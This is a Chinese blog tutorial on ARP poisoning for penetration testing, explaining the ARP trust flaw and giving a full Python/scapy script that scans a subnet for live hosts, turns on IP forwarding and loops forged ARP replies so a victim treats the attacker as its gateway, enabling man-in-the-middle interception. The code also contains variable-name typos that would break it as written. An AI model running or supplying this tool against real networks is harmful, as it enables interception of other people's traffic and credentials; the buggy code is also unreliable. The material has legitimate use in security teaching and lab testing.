Python渗透测试之ARP毒化和协议应用

简介: Python渗透测试之ARP毒化和协议应用

Python渗透测试之ARP毒化和协议应用
1. ARP毒化
ARP毒化是一种比较老的渗透测试技术,通过ARP毒化技术分析并提取内网流量中的敏感信息,往往会有许多意外的收获。

1.1 工作原理
ARP(地址解析协议)是数据链路层的协议, 主要负责根据网络层地址(IP)来获取数据链路层地址(MAC)。以太网协议规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须知道目标主机的MAC地址。而在TCP/IP中,网络只关注目标主机的IP地址,这就导致在以太网中使用IP协议时,数据链路层的以太网协议接收到网络层的IP协议提供的数据中,只包含目的主机IP地址,于是需要ARP来完成IP地址到MAC地址到转换。本地ARP缓存表是有生存周期的,ARP有一个重大缺陷:ARP是建立在网络中各个主机互相信任的基础上的,主机接收到ARP应答报文时不会检测该报文的真实性,而直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址项,则会对其进行更新。由此,攻击者可以向受害者主机发送伪ARP应答包,毒化受害主机的ARP缓存表。如下图:

开始毒化时,攻击机会给靶机发送ARP应答包说“我就是网关”,同时也会给网关发送ARP应答包说“我就是靶机。由于ARP缺陷,靶机和网关都会认为这应答包是真的。这样靶机和网关之间的通信就变成上图所示,靶机和网关之间的流量都要通过攻击机。

靶机ARP毒化之前,网关IP和MAC地址、攻击机IP和MAC地址,缓存表如下图红框:

image.png

下图是攻击机MAC地址
image.png

靶机ARP毒化之后,网关IP和MAC地址,缓存表如下图红框:

image.png

网关MAC地址变成攻击机的MAC地址了。

1.2 ARP毒化及应用
运行环境:

攻击机:Linux kali 5.10.0

靶 机:Win10

功能模块:

获取网段内存活主机
获取指定IP主机的MAC地址
ARP毒化
示例代码如下:

#_*_coding:utf-8_*_
# 作者      :liuxiaowei
# 创建时间   :4/25/22 9:08 AM
# 文件      :arp获取网络存活主机.py
# IDE      :PyCharm


from scapy.all import *
import sys
import os

# 存放本机的mac地址
lmac = ""
# 存放本机的ip地址
#lip = ""
# 存放存活主机的ip和mac的字典
liveHost = {
   }

# 获取存活主机的IP地址和MAC地址的函数
def GetAllMAC(lip):
    # IP扫描列表
    scanList = lip + '/24'
    try:
        # 通过对每个IP都进行ARP广播,获得存活主机的MAC地址
        ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=scanList), timeout=2)
    except Exception as e:
        print(e)

    # ARP广播发送完毕后执行
    else:
        # ans包含存活主机返回的响应包和响应内容
        for send, rcv in ans:
            addrList = rcv.sprintf("%Ether.src%|%ARP.psrc%")
            liveHost[addrList.split("|")[1]] = addrList.split("|")[0]

# 根据IP地址获取主机的MAC地址
def GetOneMAC(targetIP):
    # 若该IP地址存在,则返回MAC地址
    if targetIP in liveHost.keys():
        return liveHost[targetIP]
    else:
        return 0

# ARP毒化函数
def poison(targetIP, gatewayIP, ifname):
    # 获取毒化主机的MAC地址
    targetMac = GetOneMAC(targetIP)
    # 获取网关的MAC地址
    gatewayMac = GetOneMAC(gatewayIP)

    if targetMac and gatewaMac:
        while True:
            # 对目标主机毒化
            sendp(Ether(src=lmac, dst=targetMac)/ARP(hwsrc =lmac, hwdst = targetMAC, psrc=gatewayIP, pdst=targetIP, op=2),
                  iface = ifname, verbose = False)
            time.sleep(1)
    else:
        print('目标主机/网关主机IP有误,请检查!')
        sys.exit(0)

if __name__ == "__main__":
    # 程序界面
    print('\t\t\033[0;30;46m === ARP协议功能应用 === \033[0m')

    print('\n\t\t\t[1] 获取网段内存活主机:')
    print('\n\t\t\t[2] 获取指定IP主机的MAC地址')
    print('\n\t\t\t[3] ARP毒化')
    print('\n\t\t\t[4] 退  出 ')
    # while 循环
    Done = True
    while Done:
        choice = int(input('\n\t\t\033[0;30;44m 请输入选项:\t \033[0m'))
        if choice == 1:
            lip = input('\n\t\t\033[0;30;44m 请输入网段地址:\t  \033[0m')
            GetAllMAC(lip)
            print(f'\n开始收集存活的主机.....:\n{liveHost}')
            print(f'存活主机数量为:{len(liveHost)}个')

        elif choice == 2:
            targetip = input('\n\t\t\033[0;30;44m 请输入指定主机地址:\t \033[0m')
            print(f'主机{targetip}的MAC地址: {GetOneMAC(targetip)}')
        elif choice == 3:
            print('\033[0;30;41m 开启路由转发功能.........\033[0m')
            os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
            targetip = input('\n\t\t\033[0;30;44m 请输入目标主机IP地址:\t \033[0m')
            gatewayip = input('\n\t\t\033[0;30;44m 请输入网关IP地址:\t \033[0m')
            ifname = 'eth0'
            lmac = get_if_hwaddr(ifname)  # 获取本地mac地址

            try:
                print('\033[0;30;41m 开始毒化.........\033[0m')
                print(lmac)
                print(targetip)
                poison(targetip, gatewayip, ifname)
            except KeyboardInterrupt:
                print('\033[0;30;41m === 停止ARP毒化 === \033[0m')
                print('\033[0;30;41m === 停止路由转发功能 === \033[0m')

        elif choice == 4:
            Done = False
            break

运行结果如下:

下图是程序运行界面
image.png

下图是获取网段内存活主机模块运行结果:

image.png

下图是获取指定IP地址主机的MAC地址模块运行结果:

image.png

下图是ARP毒化模块运行结果:

image.png
image.png

攻击机开启路由转发,所以靶机ping www.baidu.com是可以通的,数据包被攻击机捕获。

相关文章
|
2月前
|
监控 安全 Shell
管道符在渗透测试与网络安全中的全面应用指南
管道符是渗透测试与网络安全中的关键工具,既可用于高效系统管理,也可能被攻击者利用实施命令注入、权限提升、数据外泄等攻击。本文全面解析管道符的基础原理、实战应用与防御策略,涵盖Windows与Linux系统差异、攻击技术示例及检测手段,帮助安全人员掌握其利用方式与防护措施,提升系统安全性。
113 6
|
13天前
|
监控 数据可视化 数据挖掘
Python Rich库使用指南:打造更美观的命令行应用
Rich库是Python的终端美化利器,支持彩色文本、智能表格、动态进度条和语法高亮,大幅提升命令行应用的可视化效果与用户体验。
62 0
|
2月前
|
数据采集 监控 Java
Python 函数式编程的执行效率:实际应用中的权衡
Python 函数式编程的执行效率:实际应用中的权衡
203 102
|
20天前
|
人工智能 数据可视化 测试技术
AI 时代 API 自动化测试实战:Postman 断言的核心技巧与实战应用
AI 时代 API 自动化测试实战:Postman 断言的核心技巧与实战应用
263 11
|
14天前
|
机器学习/深度学习 算法 安全
【强化学习应用(八)】基于Q-learning的无人机物流路径规划研究(Python代码实现)
【强化学习应用(八)】基于Q-learning的无人机物流路径规划研究(Python代码实现)
|
29天前
|
设计模式 缓存 运维
Python装饰器实战场景解析:从原理到应用的10个经典案例
Python装饰器是函数式编程的精华,通过10个实战场景,从日志记录、权限验证到插件系统,全面解析其应用。掌握装饰器,让代码更优雅、灵活,提升开发效率。
91 0
|
2月前
|
数据采集 存储 数据可视化
Python网络爬虫在环境保护中的应用:污染源监测数据抓取与分析
在环保领域,数据是决策基础,但分散在多个平台,获取困难。Python网络爬虫技术灵活高效,可自动化抓取空气质量、水质、污染源等数据,实现多平台整合、实时更新、结构化存储与异常预警。本文详解爬虫实战应用,涵盖技术选型、代码实现、反爬策略与数据分析,助力环保数据高效利用。
110 0
|
2月前
|
存储 程序员 数据处理
Python列表基础操作全解析:从创建到灵活应用
本文深入浅出地讲解了Python列表的各类操作,从创建、增删改查到遍历与性能优化,内容详实且贴近实战,适合初学者快速掌握这一核心数据结构。
174 0
|
数据采集 数据可视化 大数据
Python在大数据处理中的应用实践
Python在大数据处理中扮演重要角色,借助`requests`和`BeautifulSoup`抓取数据,`pandas`进行清洗预处理,面对大规模数据时,`Dask`提供分布式处理能力,而`matplotlib`和`seaborn`则助力数据可视化。通过这些工具,数据工程师和科学家能高效地管理、分析和展示海量数据。
596 4
|
11月前
|
设计模式 开发者 Python
Python编程中的设计模式应用与实践感悟####
本文作为一篇技术性文章,旨在深入探讨Python编程中设计模式的应用价值与实践心得。在快速迭代的软件开发领域,设计模式如同导航灯塔,指引开发者构建高效、可维护的软件架构。本文将通过具体案例,展现设计模式如何在实际项目中解决复杂问题,提升代码质量,并分享个人在实践过程中的体会与感悟。 ####

热门文章

最新文章

推荐镜像

更多